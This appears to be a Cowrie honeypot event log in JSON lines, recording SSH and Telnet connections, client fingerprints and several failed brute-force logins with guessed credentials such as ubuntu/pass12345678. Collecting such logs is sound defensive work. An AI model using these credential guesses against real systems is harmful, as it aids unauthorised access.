{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:58.640646Z","src_ip":"157.66.34.121","session":"62f9ee56abbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:58.873962Z","src_ip":"157.66.34.121","session":"62f9ee56abbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass12345678","message":"login attempt [ubuntu/pass12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:59.867711Z","src_ip":"157.66.34.121","session":"62f9ee56abbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:01.120092Z","src_ip":"157.66.34.121","session":"62f9ee56abbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.109.18","src_port":52092,"dst_ip":"10.17.0.5","dst_port":22,"session":"039db56715fa","protocol":"ssh","message":"New connection: 45.33.109.18:52092 (10.17.0.5:22) [session: 039db56715fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:01.414547Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:02.257006Z","src_ip":"45.33.109.18","session":"039db56715fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":43790,"dst_ip":"159.203.135.109","dst_port":22,"session":"50d3215cd48a","protocol":"ssh","message":"New connection: 103.180.212.135:43790 (159.203.135.109:22) [session: 50d3215cd48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:03.393210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:03.398395Z","src_ip":"103.180.212.135","session":"50d3215cd48a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:03.590137Z","src_ip":"103.180.212.135","session":"50d3215cd48a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"1","message":"login attempt [ts3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:04.386715Z","src_ip":"103.180.212.135","session":"50d3215cd48a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40434,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd7b8fe1c8fb","protocol":"telnet","message":"New connection: 209.159.146.115:40434 (159.203.135.109:23) [session: fd7b8fe1c8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:04.657498Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:05.580808Z","src_ip":"103.180.212.135","session":"50d3215cd48a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54002,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1d46c54e771","protocol":"telnet","message":"New connection: 209.159.146.115:54002 (159.203.135.109:23) [session: a1d46c54e771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:07.506297Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57768,"dst_ip":"159.203.135.109","dst_port":23,"session":"057c2c0c450f","protocol":"telnet","message":"New connection: 209.159.146.115:57768 (159.203.135.109:23) [session: 057c2c0c450f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:08.019628Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"593378143161","protocol":"telnet","message":"New connection: 209.159.146.115:41738 (159.203.135.109:23) [session: 593378143161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:10.089227Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44884,"dst_ip":"159.203.135.109","dst_port":23,"session":"2618c71c198a","protocol":"telnet","message":"New connection: 209.159.146.115:44884 (159.203.135.109:23) [session: 2618c71c198a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:10.497695Z"}
{"eventid":"cowrie.session.closed","duration":34.21946334838867,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:10.716642Z","src_ip":"209.159.146.115","session":"625ef0b0b314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47540,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebdf49b831f3","protocol":"telnet","message":"New connection: 209.159.146.115:47540 (159.203.135.109:23) [session: ebdf49b831f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:10.763157Z"}
{"eventid":"cowrie.session.closed","duration":33.73852252960205,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:12.683728Z","src_ip":"209.159.146.115","session":"fbe2ab35c066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36612,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff71e3a9ae27","protocol":"telnet","message":"New connection: 209.159.146.115:36612 (159.203.135.109:23) [session: ff71e3a9ae27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:13.811033Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36642,"dst_ip":"159.203.135.109","dst_port":23,"session":"46312a3e8f3a","protocol":"telnet","message":"New connection: 209.159.146.115:36642 (159.203.135.109:23) [session: 46312a3e8f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:13.817944Z"}
{"eventid":"cowrie.session.closed","duration":33.36165761947632,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:13.878928Z","src_ip":"209.159.146.115","session":"d5f4f085a950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.165587186813354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:15.722294Z","src_ip":"209.159.146.115","session":"791ee263fad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34700,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca4bc03d3c8","protocol":"telnet","message":"New connection: 209.159.146.115:34700 (159.203.135.109:23) [session: 0ca4bc03d3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:19.203787Z"}
{"eventid":"cowrie.session.closed","duration":32.598636865615845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:20.823764Z","src_ip":"209.159.146.115","session":"37c29930f832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28777289390564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:21.135320Z","src_ip":"209.159.146.115","session":"80c22a4eab9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84959578514099,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:21.350088Z","src_ip":"185.26.126.47","session":"886f5f789dd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40826,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a63c3794a3e","protocol":"telnet","message":"New connection: 209.159.146.115:40826 (159.203.135.109:23) [session: 7a63c3794a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:24.288865Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42502,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c098c363188","protocol":"telnet","message":"New connection: 209.159.146.115:42502 (159.203.135.109:23) [session: 7c098c363188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:24.867628Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46226,"dst_ip":"159.203.135.109","dst_port":23,"session":"215477adc694","protocol":"telnet","message":"New connection: 209.159.146.115:46226 (159.203.135.109:23) [session: 215477adc694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:25.849025Z"}
{"eventid":"cowrie.session.closed","duration":34.676445960998535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:27.713859Z","src_ip":"209.159.146.115","session":"5180ac07ee15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509586334228516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:28.411407Z","src_ip":"209.159.146.115","session":"84d2748d8a18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49644,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d0c41e7ff1","protocol":"telnet","message":"New connection: 209.159.146.115:49644 (159.203.135.109:23) [session: 48d0c41e7ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:29.728937Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50740,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b64b58f7f73","protocol":"telnet","message":"New connection: 209.159.146.115:50740 (159.203.135.109:23) [session: 0b64b58f7f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:30.125674Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51770,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a848b07a714","protocol":"telnet","message":"New connection: 209.159.146.115:51770 (159.203.135.109:23) [session: 2a848b07a714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:30.629744Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60668,"dst_ip":"159.203.135.109","dst_port":23,"session":"655e0931b48e","protocol":"telnet","message":"New connection: 209.159.146.115:60668 (159.203.135.109:23) [session: 655e0931b48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:32.840647Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49870,"dst_ip":"159.203.135.109","dst_port":22,"session":"378b5367780c","protocol":"ssh","message":"New connection: 159.203.92.129:49870 (159.203.135.109:22) [session: 378b5367780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:32.861468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:32.865663Z","src_ip":"159.203.92.129","session":"378b5367780c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:32.868820Z","src_ip":"159.203.92.129","session":"378b5367780c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrewb","password":"andrewb","message":"login attempt [andrewb/andrewb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:32.879591Z","src_ip":"159.203.92.129","session":"378b5367780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54170,"dst_ip":"159.203.135.109","dst_port":23,"session":"380046864048","protocol":"telnet","message":"New connection: 185.26.126.47:54170 (159.203.135.109:23) [session: 380046864048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:32.910857Z"}
{"eventid":"cowrie.session.closed","duration":38.13108992576599,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:32.936070Z","src_ip":"185.26.126.47","session":"c442f8f0f00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:33.885059Z","src_ip":"159.203.92.129","session":"378b5367780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46800,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb0ec66ce7a7","protocol":"telnet","message":"New connection: 209.159.146.115:46800 (159.203.135.109:23) [session: bb0ec66ce7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:35.798833Z"}
{"eventid":"cowrie.session.closed","duration":33.36972141265869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:38.027054Z","src_ip":"209.159.146.115","session":"fd7b8fe1c8fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56962,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee43385e8c3a","protocol":"telnet","message":"New connection: 209.159.146.115:56962 (159.203.135.109:23) [session: ee43385e8c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:38.196993Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39260,"dst_ip":"159.203.135.109","dst_port":23,"session":"3087c5d38f1a","protocol":"telnet","message":"New connection: 209.159.146.115:39260 (159.203.135.109:23) [session: 3087c5d38f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:40.761440Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41080,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd39bf0e3c9a","protocol":"telnet","message":"New connection: 209.159.146.115:41080 (159.203.135.109:23) [session: dd39bf0e3c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:41.163007Z"}
{"eventid":"cowrie.session.closed","duration":31.384678840637207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:41.882251Z","src_ip":"209.159.146.115","session":"2618c71c198a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20578098297119,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:42.225267Z","src_ip":"209.159.146.115","session":"057c2c0c450f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42436718940735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:42.930519Z","src_ip":"209.159.146.115","session":"a1d46c54e771","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.620155811309814,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:43.709260Z","src_ip":"209.159.146.115","session":"593378143161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.718308448791504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:45.536185Z","src_ip":"209.159.146.115","session":"46312a3e8f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.729847192764282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:45.540761Z","src_ip":"209.159.146.115","session":"ff71e3a9ae27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.094481229782104,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:45.857535Z","src_ip":"209.159.146.115","session":"ebdf49b831f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43360,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d7f39eea4b2","protocol":"telnet","message":"New connection: 209.159.146.115:43360 (159.203.135.109:23) [session: 2d7f39eea4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:50.597068Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44566,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad867e175885","protocol":"telnet","message":"New connection: 209.159.146.115:44566 (159.203.135.109:23) [session: ad867e175885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:51.038734Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46874,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1838e012b0d","protocol":"telnet","message":"New connection: 209.159.146.115:46874 (159.203.135.109:23) [session: e1838e012b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:51.734991Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48678,"dst_ip":"159.203.135.109","dst_port":23,"session":"2771fde27f54","protocol":"telnet","message":"New connection: 209.159.146.115:48678 (159.203.135.109:23) [session: 2771fde27f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:52.193923Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49150,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ecef7a4beb","protocol":"telnet","message":"New connection: 209.159.146.115:49150 (159.203.135.109:23) [session: 02ecef7a4beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:52.353077Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49682,"dst_ip":"159.203.135.109","dst_port":23,"session":"8da07fae280c","protocol":"telnet","message":"New connection: 209.159.146.115:49682 (159.203.135.109:23) [session: 8da07fae280c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:52.539606Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50568,"dst_ip":"159.203.135.109","dst_port":23,"session":"c135b0399c61","protocol":"telnet","message":"New connection: 209.159.146.115:50568 (159.203.135.109:23) [session: c135b0399c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:52.738344Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58804,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f5670fb583","protocol":"telnet","message":"New connection: 209.159.146.115:58804 (159.203.135.109:23) [session: 07f5670fb583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:54.656544Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35936,"dst_ip":"159.203.135.109","dst_port":23,"session":"128a602e3a1d","protocol":"telnet","message":"New connection: 209.159.146.115:35936 (159.203.135.109:23) [session: 128a602e3a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:56.102786Z"}
